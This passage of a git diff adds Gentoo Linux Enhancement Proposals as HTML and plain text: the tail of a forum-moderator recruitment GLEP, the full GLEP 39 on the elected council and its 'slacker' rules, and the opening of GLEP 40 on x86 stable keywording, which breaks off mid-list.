+should try to improve the communication between these two groups of people. As
+moderators are pretty much exposed to the public (forums users, but also used
+as contact person for requests that should go to the PR department or the
+trustees) they need to have some knowledge about Gentoo's internal structure
+as well as contact to the other developers.
+
+The current training process for new moderators works pretty well even though
+there are no official guidelines how to do it. As part of this proposal a more
+detailed procedure for the training process will be established to make it
+more reproducable. It also gives us the possibility to document the things
+happening already today in the current training process.
+
+The status of the Gentoo Forums has been undefined for quite some time. Since
+it is using the gentoo.org domain it should be considered an official project.
+People working on an official project should be developers or staff following Gentoo's
+general policy. At the moment the persons with direct access to the database
+are developers. Being moderator could be considered an improved forums rank
+that does not have impact on Gentoo's infrastructure, but since moderators and
+administrators are able to delete, move and edit posts on the forum willingly,
+their level of access should be considered developer like. Many users may not
+be aware of the difference between moderators and developers, so the actions of a
+moderator may represent Gentoo Linux to them anyway.
+
+Specification
+=============
+
+To obtain a certain kind of quality assurance and to (create and) ensure that
+upcoming moderators know about the forums guidelines a document and processes
+will have to be created and established that the recruits need to follow.
+This document (called `Moderators handbook/FAQ`_) will include the moderation guidelines 
+as they are currently available in the moderators forum plus a FAQ that was created as 
+a possible candidate for a forums-quiz. The guidelines and the FAQ should help the 
+moderator to get some general information about how to moderate the forums.
+
+Suggested procedure for becoming global moderator: Existing moderators can
+suggest a user to become a moderator. The ability of the new moderator to
+deal with people in a kind way and to detect misplaced posts, etc usually
+also has been reviewed by the other moderators already since they can read
+their previous posts and suggestions in the forums feedback threads. If they
+accept, they will become moderator on the forums. A bug will be filed on
+b.g.o containing information about the new moderator. Afterwards they must
+answer the staff quiz that will be revisited by devrel. The quiz then will
+be sent to recruiters@g.o for revision. Becoming staff member is not
+optional, but mandatory.
+
+The first month is supposed to be a test period, if the moderator
+does not do anything in that time or messes up in another way, they will be
+restored to their old user status. The mentor(s) and everyone of the forums team
+are encouraged to help the new moderator if they are unsure how to deal with a
+situation.
+
+Rationale
+=========
+
+The process of aquiring new developers seems to work for the rest of Gentoo
+Linux quite well. A mentoring system has been chosen since new moderators were
+mentored unofficially by the other moderators anyway. This means more or less
+writing down things that have been done already.
+It was discussed to add a forums-specific quiz to the process of aquiring new 
+moderators. 
+Devrel's standing on that is that it is up to the moderators how a new moderator is 
+chosen. Since the old process worked fine so far and some people among the moderators
+didn't exactly like the idea of a quiz, we chose not to make one. A document containing the 
+questions collected for the quiz in form of a FAQ together with the moderation 
+guidelines seems to be a more feasible approach. The new moderators are supposed to 
+read the FAQ as well as they had to take a quiz, so they will learn the information 
+given in this document.
+
+Backwards Compatibility
+=======================
+
+Moderators who are currently inactive (Bodhisattva status) should be
+considered akin to retired developers and will have to take the staff quiz
+if they return to moderation activities. New moderators should have to go
+through the mentoring process in any case as stated above.
+
+Moderators in national forums: In our internal discussion it turned out that not
+all moderators in the national forums are able to speak english well, which
+would be a requirement to become a staff member. We decided that it would
+counter productive to make it mandatory for them. Becoming a staff member is
+optional for these moderators.
+
+As a side effect of the discussion about the glep among the moderators 
+as well as in discussions with other developers and devrel, it turned
+out that the forums have never been assigned to a toplevel project in the 
+general organization of the Gentoo project. Forums don't really seem to fit 
+into one of the current categories as they are related to the infrastructure
+and the documentation project. We suggest putting it in the other category 
+or making a separate one for the forums. 
+
+Reference Implementation
+========================
+
+- `Moderators handbook/FAQ`_
+- `Becoming a developer`_
+- `Staff quiz`_
+- `Thread on gentoo-dev`_
+
+..  _Moderators handbook/FAQ: http://www.gentoo.org/proj/en/forums/forum-guide.xml
+..  _Becoming a developer: http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=1&chap=2
+..  _Staff quiz: http://www.gentoo.org/proj/en/devrel/quiz/staff-quiz.txt
+..  _Thread on gentoo-dev: http://thread.gmane.org/gmane.linux.gentoo.devel/28985
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0039.html b/xml/htdocs/proj/en/glep/glep-0039.html
new file mode 100644
index 00000000..891cc5af
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0039.html
@@ -0,0 +1,266 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 39 -- An "old-school" metastructure proposal with "boot for being a slacker"</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0039.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">39</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">An &quot;old-school&quot; metastructure proposal with &quot;boot for being a slacker&quot;</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0039.txt?cvsroot=gentoo">2008/06/05 20:27:30</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Grant Goodyear &lt;g2boojum&#32;&#97;t&#32;gentoo.org&gt;,
+Ciaran McCreesh &lt;ciaranm&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Accepted</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Informational</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">01-Sep-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">01-Sep-2005, 09-Feb-2006, 12-Oct-2007, 19-Jan-2008</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id2" name="id2">Status</a></li>
+<li><a class="reference" href="#abstract" id="id3" name="id3">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id6" name="id6">Rationale</a></li>
+<li><a class="reference" href="#copyright" id="id7" name="id7">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="status" name="status">Status</a></h1>
+<p>Implemented. GLEP amended on 09 Feb 2006 to add the final bullet point to
+list B in <a class="reference" href="#specification">Specification</a>.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="abstract" name="abstract">Abstract</a></h1>
+<p>GLEP 4 is replaced with a new &quot;metastructure&quot; that retains established
+projects (and makes new projects easier to create), but adds a new &quot;Gentoo
+Council&quot; to handle global (cross-project) issues.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>The Fosdem and subsequent reform proposals shepherded by Koon are thorough,
+extremely detailed, and somewhat complicated.  They have a lot of good ideas.
+For many who have been with Gentoo a long time, though, there's just something
+about them that they don't really like.  More than a few Gentoo devs are
+almost entirely uninterested in metastructure as long as it doesn't get in
+their way, and because the current proposals impose at least some order on our
+unruly devs these proposals are guaranteed to &quot;get in the way&quot; to some degree.
+For example, a frequent comment that has been heard is that many Gentoo devs
+don't know who his/her manager (or project lead) is, which is a clear
+indication that our current system is broken.  The existing proposals solve
+the problem by requiring that each dev belong to a project.  Perhaps the part
+that is broken, though, is the belief that every dev should have a manager.
+The history of Gentoo is such that traditionally big advances have often been
+implemented by a single or a small number of dedicated devs (thus our
+long-standing tradition that devs have access to the entire tree), and surely
+we do not want to make things harder (or less fun) for such people.  So here's
+a minimal proposal for those who remembers the &quot;good ol' days&quot; and thinks
+things aren't really so different now.</p>
+<p>Synopsis of the current system:</p>
+<blockquote>
+<ul class="simple">
+<li>There are 13-15 top-level projects (TLPs).  Top-level projects are
+comprised of sub-projects, and the goal was that every Gentoo
+project would be a sub-project of one of the TLPs.  Supposedly each
+dev therefore belongs to one or more TLPs.</li>
+<li>Each TLP has at least a &quot;strategic&quot; manager, and potentially also an
+&quot;operational&quot; manager.  Only the strategic managers vote on global
+Gentoo issues.</li>
+<li>The managers of each TLP were appointed by drobbins, the other
+TLP managers, or elected by their project members.  These managers
+have no set term.</li>
+<li>Within each TLP the managers are responsible for making decisions
+about the project, defining clear goals, roadmaps, and timelines
+for the project, and solving problems that arise within the TLP
+(see GLEP 4 for the specific list).</li>
+<li>The strategic TLP managers are also responsible for deciding issues that
+affect Gentoo across project lines.  The primary mechanism for
+handling global-scope issues is the managers' meetings.</li>
+<li>Disciplinary action taken against erring devs is handled by the
+&quot;devrel&quot; TLP, unless the dev is a strategic TLP manager.  In that
+case disciplinary action must be enacted by the other strategic TLP
+managers.</li>
+</ul>
+</blockquote>
+<p>Problems with the existing system:</p>
+<ol class="arabic simple">
+<li>The assumption that TLPs are complete is either incorrect (there
+still is no &quot;server&quot; TLP) or just plain weird (but the lack of a
+server TLP is technically okay because all devs who don't have an
+obvious TLP belong to the &quot;base&quot; TLP by default).</li>
+<li>There is nothing at all to ensure that project leads actually do
+represent the devs they supposedly lead or satisfy their
+responsibilities.  Indeed, should a TLP manager go AWOL it is not at
+all obvious how the situation should be resolved.</li>
+<li>Nothing is being decided at global scope right now.  Some TLP strategic
+managers rarely attend the managers' meetings, and the managers as a
+whole certainly are not providing any sort of global vision for
+Gentoo right now.</li>
+<li>Even if the strategic TLP managers were making global decisions for
+Gentoo, the TLP structure is such that almost all devs fall under
+only one or two TLPs.  Thus voting on global issues is hardly
+proportional, and thus many devs feel disenfranchised.</li>
+<li>Regardless of whether or not it is justified, devrel is loathed by
+many in its enforcement role.</li>
+</ol>
+<p>Here's a couple of additional problems identified by the current
+metastructure reform proposals:</p>
+<ol class="arabic simple" start="6">
+<li>The current system has no mechanism for identifying either projects
+or devs that have gone inactive.</li>
+<li>Bugs that cut across projects often remain unresolved.</li>
+<li>GLEPs often linger in an undetermined state.</li>
+</ol>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<ol class="upperalpha">
+<li><p class="first">A project is a group of developers working towards a goal (or a set
+of goals).</p>
+<blockquote>
+<ul class="simple">
+<li>A project exists if it has a web page at
+www.g.o/proj/en/whatever that is maintained.  (&quot;Maintained&quot; means
+that the information on the page is factually correct and not
+out-of-date.)  If the webpage isn't maintained, it is presumed dead.</li>
+<li>It may have one or many leads, and the leads are
+selected by the members of the project.  This selection must
+occur at least once every 12 months, and may occur at any
+time.</li>
+<li>It may have zero or more sub-projects.  Sub-projects are
+just projects that provide some additional structure, and their
+web pages are in the project's space.</li>
+<li>Not everything (or everyone) needs a project.</li>
+<li>Projects need not be long-term.</li>
+<li>Projects may well conflict with other projects.  That's okay.</li>
+<li>Any dev may create a new project just by creating a new page
+(or, more realistically, directory and page) in
+<tt class="docutils literal"><span class="pre">gentoo/xml/htdocs/proj/en</span></tt> and sending a Request For Comments
+(RFC) e-mail to gentoo-dev.  Note that this GLEP does not provide for
+a way for the community at large to block a new project, even if the
+comments are wholly negative.</li>
+</ul>
+</blockquote>
+</li>
+<li><p class="first">Global issues will be decided by an elected Gentoo council.</p>
+<blockquote>
+<ul class="simple">
+<li>There will be a set number of council members.  (For the
+first election that number was set to 7 by acclamation.)</li>
+<li>Council members will be chosen by a general election of all
+devs once per year.</li>
+<li>The council must hold an open meeting at least once per month.</li>
+<li>Council decisions are by majority vote of those who show up (or
+their proxies).</li>
+<li>If a council member (or their appointed proxy) fails to show up for
+two consecutive meetings, they are marked as a slacker.</li>
+<li>If a council member who has been marked a slacker misses any further
+meeting (or their appointed proxy doesn't show up), they lose their
+position and a new election is held to replace that person. The newly
+elected council member gets a 'reduced' term so that the yearly
+elections still elect a full group.</li>
+<li>Council members who have previously been booted for excessive slacking
+may stand for future elections, including the election for their
+replacement. They should, however, justify their slackerness, and
+should expect to have it pointed out if they don't do so themselves.</li>
+<li>The 'slacker' marker is reset when a member is elected.</li>
+<li>If any meeting has less than 50% attendance by council members, a new
+election for <em>all</em> places must be held within a month. The 'one year'
+is then reset from that point.</li>
+<li>Disciplinary actions may be appealed to the council.</li>
+<li>A proxy must not be an existing council member, and any single person
+may not be a proxy for more than one council member at any given
+meeting.</li>
+</ul>
+</blockquote>
+</li>
+</ol>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="rationale" name="rationale">Rationale</a></h1>
+<p>So, does this proposal solve any of the previously-mentioned problems?</p>
+<p>1. There is no longer any requirement that the project structure be
+complete.  Some devs work on very specific parts of the tree, while
+some work on practically everything; neither should be shoehorned into
+an ad-hoc project structure.  Moreover, it should be easy to create new
+projects where needed (and remove them when they are not), which this
+proposal should enable.</p>
+<p>2. By having the members choose their project leads periodically, the
+project leads are necessarily at least somewhat responsible (and hopefully
+responsive) to the project members.  This proposal has removed the list of
+responsibilities that project leads were supposed to satisfy, since hardly
+anybody has ever looked at the original list since it was written.  Instead
+the practical responsibility of a lead is &quot;whatever the members require&quot;, and
+if that isn't satisfied, the members can get a new lead (if they can find
+somebody to take the job!).</p>
+<p>3. If the council does a lousy job handling global issues (or has no
+global vision), vote out the bums.</p>
+<p>4. Since everybody gets to vote for the council members, at least in
+principle the council members represent all developers, not just a
+particular subset.</p>
+<p>5. An appeal process should make disciplinary enforcement both less
+capricious and more palatable.</p>
+<p>6. This proposal doesn't help find inactive devs or projects.  It
+really should not be that much of a problem.  We already have a script for
+identifying devs who haven't made a CVS commit within a certain period of
+time.  As for moribund projects, if the project page isn't maintained, it's
+dead, and we should remove it.  That, too, could be automated.  A much bigger
+problem is understaffed herds, but more organization is not necessarily a
+solution.</p>
+<p>7. The metabug project is a great idea.  Let's do that!  Adding a useful
+project shouldn't require &quot;metastructure reform&quot;, although with the
+current system it does.  With this proposal it wouldn't.</p>
+<ol class="arabic simple" start="8">
+<li>This proposal has nothing to say about GLEPs.</li>
+</ol>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0039.txt">View document source</a>.
+Generated on: 2008-06-05 20:28 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0039.txt b/xml/htdocs/proj/en/glep/glep-0039.txt
new file mode 100644
index 00000000..077dfc6a
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0039.txt
@@ -0,0 +1,208 @@
+GLEP: 39
+Title: An "old-school" metastructure proposal with "boot for being a slacker" 
+Version: $Revision: 1.6 $
+Last-Modified: $Date: 2008/06/05 20:27:30 $
+Author:	Grant Goodyear <g2boojum@gentoo.org>,
+	Ciaran McCreesh <ciaranm@gentoo.org>,
+Status: Accepted
+Type: Informational
+Content-Type: text/x-rst
+Created: 01-Sep-2005
+Post-History: 01-Sep-2005, 09-Feb-2006, 12-Oct-2007, 19-Jan-2008
+
+Status
+======
+
+Implemented. GLEP amended on 09 Feb 2006 to add the final bullet point to
+list B in `Specification`_.
+
+Abstract
+========
+
+GLEP 4 is replaced with a new "metastructure" that retains established
+projects (and makes new projects easier to create), but adds a new "Gentoo
+Council" to handle global (cross-project) issues.
+
+Motivation
+==========
+
+The Fosdem and subsequent reform proposals shepherded by Koon are thorough,
+extremely detailed, and somewhat complicated.  They have a lot of good ideas.
+For many who have been with Gentoo a long time, though, there's just something
+about them that they don't really like.  More than a few Gentoo devs are
+almost entirely uninterested in metastructure as long as it doesn't get in
+their way, and because the current proposals impose at least some order on our
+unruly devs these proposals are guaranteed to "get in the way" to some degree.
+For example, a frequent comment that has been heard is that many Gentoo devs
+don't know who his/her manager (or project lead) is, which is a clear
+indication that our current system is broken.  The existing proposals solve
+the problem by requiring that each dev belong to a project.  Perhaps the part
+that is broken, though, is the belief that every dev should have a manager.
+The history of Gentoo is such that traditionally big advances have often been
+implemented by a single or a small number of dedicated devs (thus our
+long-standing tradition that devs have access to the entire tree), and surely
+we do not want to make things harder (or less fun) for such people.  So here's
+a minimal proposal for those who remembers the "good ol' days" and thinks
+things aren't really so different now.
+
+Synopsis of the current system:
+
+  *  There are 13-15 top-level projects (TLPs).  Top-level projects are
+     comprised of sub-projects, and the goal was that every Gentoo
+     project would be a sub-project of one of the TLPs.  Supposedly each
+     dev therefore belongs to one or more TLPs.
+  *  Each TLP has at least a "strategic" manager, and potentially also an
+     "operational" manager.  Only the strategic managers vote on global
+     Gentoo issues.
+  *  The managers of each TLP were appointed by drobbins, the other
+     TLP managers, or elected by their project members.  These managers
+     have no set term.
+  *  Within each TLP the managers are responsible for making decisions
+     about the project, defining clear goals, roadmaps, and timelines
+     for the project, and solving problems that arise within the TLP
+     (see GLEP 4 for the specific list).
+  *  The strategic TLP managers are also responsible for deciding issues that
+     affect Gentoo across project lines.  The primary mechanism for
+     handling global-scope issues is the managers' meetings.
+  *  Disciplinary action taken against erring devs is handled by the
+     "devrel" TLP, unless the dev is a strategic TLP manager.  In that
+     case disciplinary action must be enacted by the other strategic TLP
+     managers.
+
+Problems with the existing system:
+
+1. The assumption that TLPs are complete is either incorrect (there
+   still is no "server" TLP) or just plain weird (but the lack of a
+   server TLP is technically okay because all devs who don't have an
+   obvious TLP belong to the "base" TLP by default).  
+2. There is nothing at all to ensure that project leads actually do
+   represent the devs they supposedly lead or satisfy their
+   responsibilities.  Indeed, should a TLP manager go AWOL it is not at
+   all obvious how the situation should be resolved.
+3. Nothing is being decided at global scope right now.  Some TLP strategic 
+   managers rarely attend the managers' meetings, and the managers as a
+   whole certainly are not providing any sort of global vision for
+   Gentoo right now.
+4. Even if the strategic TLP managers were making global decisions for
+   Gentoo, the TLP structure is such that almost all devs fall under
+   only one or two TLPs.  Thus voting on global issues is hardly
+   proportional, and thus many devs feel disenfranchised.
+5. Regardless of whether or not it is justified, devrel is loathed by
+   many in its enforcement role.
+
+Here's a couple of additional problems identified by the current
+metastructure reform proposals:
+
+6. The current system has no mechanism for identifying either projects
+   or devs that have gone inactive.
+7. Bugs that cut across projects often remain unresolved.
+8. GLEPs often linger in an undetermined state.
+
+Specification
+=============
+
+
+A.  A project is a group of developers working towards a goal (or a set
+    of goals).
+
+      *  A project exists if it has a web page at
+         www.g.o/proj/en/whatever that is maintained.  ("Maintained" means
+         that the information on the page is factually correct and not
+         out-of-date.)  If the webpage isn't maintained, it is presumed dead.  
+      *  It may have one or many leads, and the leads are
+         selected by the members of the project.  This selection must
+         occur at least once every 12 months, and may occur at any
+         time.
+      *  It may have zero or more sub-projects.  Sub-projects are
+         just projects that provide some additional structure, and their
+         web pages are in the project's space.
+      *  Not everything (or everyone) needs a project.  
+      *  Projects need not be long-term.
+      *  Projects may well conflict with other projects.  That's okay.
+      *  Any dev may create a new project just by creating a new page
+         (or, more realistically, directory and page) in
+         ``gentoo/xml/htdocs/proj/en`` and sending a Request For Comments
+         (RFC) e-mail to gentoo-dev.  Note that this GLEP does not provide for
+         a way for the community at large to block a new project, even if the
+         comments are wholly negative.
+
+B.  Global issues will be decided by an elected Gentoo council.
+
+      *  There will be a set number of council members.  (For the
+         first election that number was set to 7 by acclamation.)
+      *  Council members will be chosen by a general election of all
+         devs once per year.
+      *  The council must hold an open meeting at least once per month.
+      *  Council decisions are by majority vote of those who show up (or
+         their proxies).
+      *  If a council member (or their appointed proxy) fails to show up for
+         two consecutive meetings, they are marked as a slacker.
+      *  If a council member who has been marked a slacker misses any further
+         meeting (or their appointed proxy doesn't show up), they lose their
+         position and a new election is held to replace that person. The newly
+         elected council member gets a 'reduced' term so that the yearly
+         elections still elect a full group.
+      *  Council members who have previously been booted for excessive slacking
+         may stand for future elections, including the election for their
+         replacement. They should, however, justify their slackerness, and
+         should expect to have it pointed out if they don't do so themselves.
+      *  The 'slacker' marker is reset when a member is elected.
+      *  If any meeting has less than 50% attendance by council members, a new
+         election for *all* places must be held within a month. The 'one year'
+         is then reset from that point.
+      *  Disciplinary actions may be appealed to the council.
+      *  A proxy must not be an existing council member, and any single person
+         may not be a proxy for more than one council member at any given
+         meeting.
+
+Rationale
+=========
+
+So, does this proposal solve any of the previously-mentioned problems?  
+
+1. There is no longer any requirement that the project structure be
+complete.  Some devs work on very specific parts of the tree, while
+some work on practically everything; neither should be shoehorned into
+an ad-hoc project structure.  Moreover, it should be easy to create new
+projects where needed (and remove them when they are not), which this
+proposal should enable.
+
+2. By having the members choose their project leads periodically, the
+project leads are necessarily at least somewhat responsible (and hopefully
+responsive) to the project members.  This proposal has removed the list of
+responsibilities that project leads were supposed to satisfy, since hardly
+anybody has ever looked at the original list since it was written.  Instead
+the practical responsibility of a lead is "whatever the members require", and
+if that isn't satisfied, the members can get a new lead (if they can find
+somebody to take the job!).
+
+3. If the council does a lousy job handling global issues (or has no
+global vision), vote out the bums.  
+
+4. Since everybody gets to vote for the council members, at least in
+principle the council members represent all developers, not just a
+particular subset.
+
+5. An appeal process should make disciplinary enforcement both less
+capricious and more palatable.
+
+6. This proposal doesn't help find inactive devs or projects.  It
+really should not be that much of a problem.  We already have a script for
+identifying devs who haven't made a CVS commit within a certain period of
+time.  As for moribund projects, if the project page isn't maintained, it's
+dead, and we should remove it.  That, too, could be automated.  A much bigger
+problem is understaffed herds, but more organization is not necessarily a
+solution.
+
+7. The metabug project is a great idea.  Let's do that!  Adding a useful
+project shouldn't require "metastructure reform", although with the
+current system it does.  With this proposal it wouldn't.
+
+8. This proposal has nothing to say about GLEPs.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0040.html b/xml/htdocs/proj/en/glep/glep-0040.html
new file mode 100644
index 00000000..e53a74b9
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0040.html
@@ -0,0 +1,235 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 40 -- Standardizing "arch" keywording across all archs.</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0040.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">40</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Standardizing &quot;arch&quot; keywording across all archs.</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0040.txt?cvsroot=gentoo">2006/09/04 03:09:50</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Grant Goodyear &lt;g2boojum&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">3-Sep-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">6-Sep-2005 15-Sep-2005 3-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id10" name="id10">Status</a></li>
+<li><a class="reference" href="#credits" id="id11" name="id11">Credits</a></li>
+<li><a class="reference" href="#abstract" id="id12" name="id12">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id13" name="id13">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id14" name="id14">Specification</a><ul>
+<li><a class="reference" href="#stabling-guidelines-for-all-archs" id="id15" name="id15">Stabling guidelines for all archs</a></li>
+<li><a class="reference" href="#x86-arch-team" id="id16" name="id16">x86 arch team</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#rationale" id="id17" name="id17">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id18" name="id18">Implementation</a></li>
+<li><a class="reference" href="#alternative-ideas" id="id19" name="id19">Alternative Ideas</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id20" name="id20">Backwards Compatibility</a></li>
+<li><a class="reference" href="#id1" id="id21" name="id21">References</a></li>
+<li><a class="reference" href="#copyright" id="id22" name="id22">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="status" name="status">Status</a></h1>
+<p>Approved by the Gentoo Council on 15 September 2005.  As of 20060903
+we have a robust x86 arch team, so this GLEP is final</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="credits" name="credits">Credits</a></h1>
+<p>This GLEP originated from a rather contentious <a class="reference" href="http://tinyurl.com/bp859">discussion</a> <a class="footnote-reference" href="#id2" id="id3" name="id3">[1]</a> on gentoo-dev
+about combining the x86 and amd64 keywords.  This GLEP attempts to get at the
+heart of that discontent.  The proposed stable-keyword guidelines have been
+lifted verbatim from <a class="reference" href="http://dev.gentoo.org/~plasmaroo/devmanual">The Doc</a> <a class="footnote-reference" href="#id4" id="id5" name="id5">[2]</a>.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="abstract" name="abstract">Abstract</a></h1>
+<p>It is time for x86 to no longer be an exception to the standard
+keywording guidelines.  Thus, an x86 arch team should be responsible
+for moving packages from ~x86 to x86.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="motivation" name="motivation">Motivation</a></h1>
+<p>The original, informal x86 keywording policy, where almost any x86 dev (which
+were the vast majority of devs) who used a package could mark it stable, arose
+from a time when there were relatively few Gentoo devs.  Adding packages to
+the tree was the principal concern, as opposed to maintaining existing
+packages. QA considerations have since modified that policy slightly, and now
+it is the package maintainers who should mark an x86 package stable.  Of
+course, that policy presumes that package maintainers are generally x86 devs,
+which is slowly becoming less and less true.</p>
+<p>This policy for x86 is quite different from how every other arch marks
+packages stable.  For the non-x86 archs, each arch has a specific &quot;arch team&quot;
+which is responsible for moving packages from <tt class="docutils literal"><span class="pre">~arch</span></tt> to <tt class="docutils literal"><span class="pre">arch</span></tt>, although
+vapier notes that &quot;arch teams generally defer to maintainers (and rightly so)
+as to <em>when</em> newer versions should go stable.&quot;  This approach has worked quite
+well for the non-x86 archs, and this GLEP asserts that the same approach would
+benefit x86 as well.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id14" id="specification" name="specification">Specification</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id15" id="stabling-guidelines-for-all-archs" name="stabling-guidelines-for-all-archs">Stabling guidelines for all archs</a></h2>
+<p>For a package to move to stable, the following guidelines must be met:</p>
+<ul class="simple">
+<li>The package has spent a reasonable amount of time in <tt class="docutils literal"><span class="pre">~arch</span></tt> first.
+Thirty days is the usual figure, although this is clearly only a guideline.
+For critical packages, a much longer duration is expected.  For small
+packages which have only minor changes between versions, a shorter period
+is sometimes appropriate.</li>
+<li>The package must not have any non-<tt class="docutils literal"><span class="pre">arch</span></tt> dependencies.</li>
+<li>The package must not have any severe outstanding bugs or issues.</li>
+<li>The package must be widely tested.</li>
+<li>If the package is a library, it should be known not to break any package
